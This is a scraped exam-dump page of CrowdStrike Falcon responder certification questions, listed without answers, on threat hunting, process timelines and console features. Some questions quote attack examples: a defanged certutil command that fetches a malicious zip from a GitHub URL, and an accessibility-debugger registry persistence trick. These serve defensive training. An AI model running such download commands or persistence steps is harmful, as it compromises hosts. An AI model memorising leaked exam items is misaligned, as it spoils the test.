dumpspedia logo
While in an Event Search, a responder clicks on an event action. What does the ' Show Child Processes ' event action do?
What happens when you create a Sensor Visibility Exclusion for a trusted file path?
A responder needs to find a specific sequence of network connections that did not trigger a detection. Which search tool allows them to search for anything within the raw telemetry?
How are processes on the same plane ordered (bottom ' VMTOOLSD.EXE ' to top CMD.EXE ' )?
When you configure and apply an IOA exclusion, what impact does it have on the host and what you see in the console?
Which of the following sentences best describes the primary use of the ' Hash Executions ' Search (Bulk Search)?
The Falcon sensor can take several automated actions to protect an endpoint. Which of the following is NOT an action that Falcon takes upon detection?
The Falcon sensor is designed to provide deep visibility into endpoint activity, yet it is not omniscient. According to the Cyber Kill Chain model, which of the following stages does the Falcon sensor typically NOT have visibility over?
You can jump to a Process Timeline from many views, like a Hash Search, by clicking which of the following?
The Falcon console integrates heavily with the MITRE ATT AND CK framework to provide industry-standard context. Which of the following tactics displayed in the detection UI is a direct implementation of a MITRE ATT AND CK tactic?
An analyst is triaging a detection that has been categorized under the ‘Follow Through’ Objective Layer. Based on the Falcon technical documentation, which of the following adversary tactics is most likely to be observed within this specific layer?
While the host timeline is comprehensive, some data is not included in that specific view. Which of the following CANNOT be seen directly from the host timeline?
An attacker attaches cmd.exe as a debugger to osk.exe through a registry key.
What tactic and technique describe this activity?
When examining a raw DNS request event, you see a field called ContextProcessld_decimal. What is the purpose of that field?
In the ' User Search - File Written ' section, a responder can see various files dropped by a user. Which of the following file types CANNOT be seen from this view?
You are writing a script that your colleagues could run on any Windows machine using Real Time Response (RTR). The script you have written is over the 40-KB limit.
How should you run the script to avoid technical issues?
While examining the ' Process Details ' sidebar of a detection, a responder sees the following icons: " 25 Network Operations " and " 277 Disk Operations " . What does this contextual data represent?
Responders use ' IP Search ' to track connections to malicious infrastructure. Which of the following statements about the IP Search is FALSE?
When investigating system-level persistence, it is critical to know what the services.exe process is responsible for. What is its primary function?
The Activity Dashboard is a core feature for security teams. What is the primary purpose of this dashboard?
Aside from a Process Timeline or Event Search, how do you export process event data from a detection in .CSV format?
To track the relationship between a parent and its child, Falcon uses specific ID fields. What raw data is used as the ' ParentProcessId_decimal ' when a process spawns a child process?
If the Falcon sensor identifies suspicious behavioral patterns—such as a process attempting to dump memory from lsass.exe—what specific type of detection will be generated?
An analyst needs to perform local sandbox analysis on a malicious file. When they download a quarantined file from the Falcon UI, what is the file format and the default password?
According to the Falcon Overwatch Best Practice workflow, what is the required next step after a responder completes the ' Understand the process(es) involved ' step?
The User Search results are organized into several categories. Which of the following is NOT a sub-heading in the User Search?
Responders often need to organize detections to identify trends across the environment. Which of the following is NOT a grouping option currently available on the ' Endpoint Detections ' page?
You receive a detection on certutil.exe executing the following command line:
certutil -urlcache -split -f " hxxps[:]//github[.] com/Endizz/Payloads/raw/main/MyMaliciousTools.zip " " MyMaliciousTools.zip "
What is the appropriate next step to discover how this occurred?
Multiple detections with the process schtasks.exe begin to alert in the UI. The process executes the following command line on several unique hosts:
schtasks.exe /Query /TN " Qljsscdqr "
What is the most efficient way to identify which hosts are executing this scheduled task?
Your lead analyst instructs you to dump the kernel memory of a Windows system using Real Time Response (RTR).
Which native RTR command best helps you to quickly achieve the task?
What action is needed to ensure Falcon does not block or generate a detection for a process by using the file hash?
You are reviewing the raw data in an Event Search from a detection tree. You find a DnsRequest event and want to determine whether any other DNS requests were performed by the original process.
Which two field values do you need from this event to perform a Process Timeline search?
A responder is analyzing a process tree where a suspicious executable is listed as a direct child of services.exe. In this scenario, which source is most likely responsible for the execution?
A responder has identified a suspicious PowerShell script executing on a domain controller. To perform a deep-dive forensic analysis of every action taken by that specific process—including network connections and file modifications—the analyst needs to pivot to a Process Timeline. What is the absolute minimum telemetry data required to generate this auto-filled view?
Falcon uses specific identifiers to track processes across the environment. Which of the following sentences best describes what the ' TargetProcessId_decimal ' raw data represents?
The Bulk Domain Search tool contains Domain information along with which of the following?
CrowdScore is a metric used to identify the severity of an ongoing incident. What percentage of increase in a CrowdScore is considered a strong indication of a coordinated attack?
Which specific event type in the Falcon telemetry is associated with the creation of a new ' TargetProcessId_decimal ' ?
A SOC Manager is reviewing the monthly efficiency of the incident response team. They are specifically analyzing how many alerts were handled by each individual analyst and the ratio of legitimate threats to noise to optimize staffing levels. While navigating the Detection Resolutions Dashboard, which of the following metrics would they NOT find, as it is primarily located within the Activity or Executive summary dashboards?
Which of the following sentences best describes the primary use of ' Retrospective Analysis ' ?
Refer to the image.
Within a Host Search, you have filtered for cmd.exe in the Process executions table and now need to pivot to a process timeline.
Which item in the table do you select to pivot to the Process Timeline?
On the Host Timeline dashboard, what built-in parameter would you modify in order to filter specific events in the timeline?
After pivoting to an event search from a detection, you locate the ProcessRollup2 event. Which two field values are you required to obtain to perform a Process Timeline search so you can determine what the process was doing?
If an organization is experiencing several false positives from a specific Machine Learning (ML) detection group and wants to create a tightly-scoped allowlist, which grouping should they use first?
An adversary is attempting to disable security features by modifying the system registry. Which of the following native Windows processes is specifically designed to create, modify, and delete Registry keys via the command line?
CrowdStrike implements a specific framework within the Falcon console to help responders categorize detections based on the adversary’s ultimate goals and the technical means used to achieve them. This classification system, which maps activity to known industry standards, is known as the:
When navigating the main ' Detections ' page, several filters are available in the dropdown menu. Which of the following is NOT a filter available in this menu?
You receive an email from a third-party vendor that one of their services is compromised,thevendor names a specific IP address that the compromised service was using. Where would you input this indicator to find any activity related to this IP address?
What is the difference between Managed and Unmanaged Neighbors in the Falcon console?
When looking at the details of a detection, there are two fields called Global Prevalence and Local Prevalence. Which answer best defines Local Prevalence?
A responder is looking at event telemetry and sees an event named ' ProcessRollup2 ' . Which sentence best describes what this event type represents?
When an analyst is trying to pinpoint the exact moment an endpoint came online after being shut down for the weekend, which timeline view is the best to use?
Executive dashboards provide a high-level view of security. Which of the following CANNOT be seen from the Executive Summary Dashboard?
TESTED 26 Jul 2026
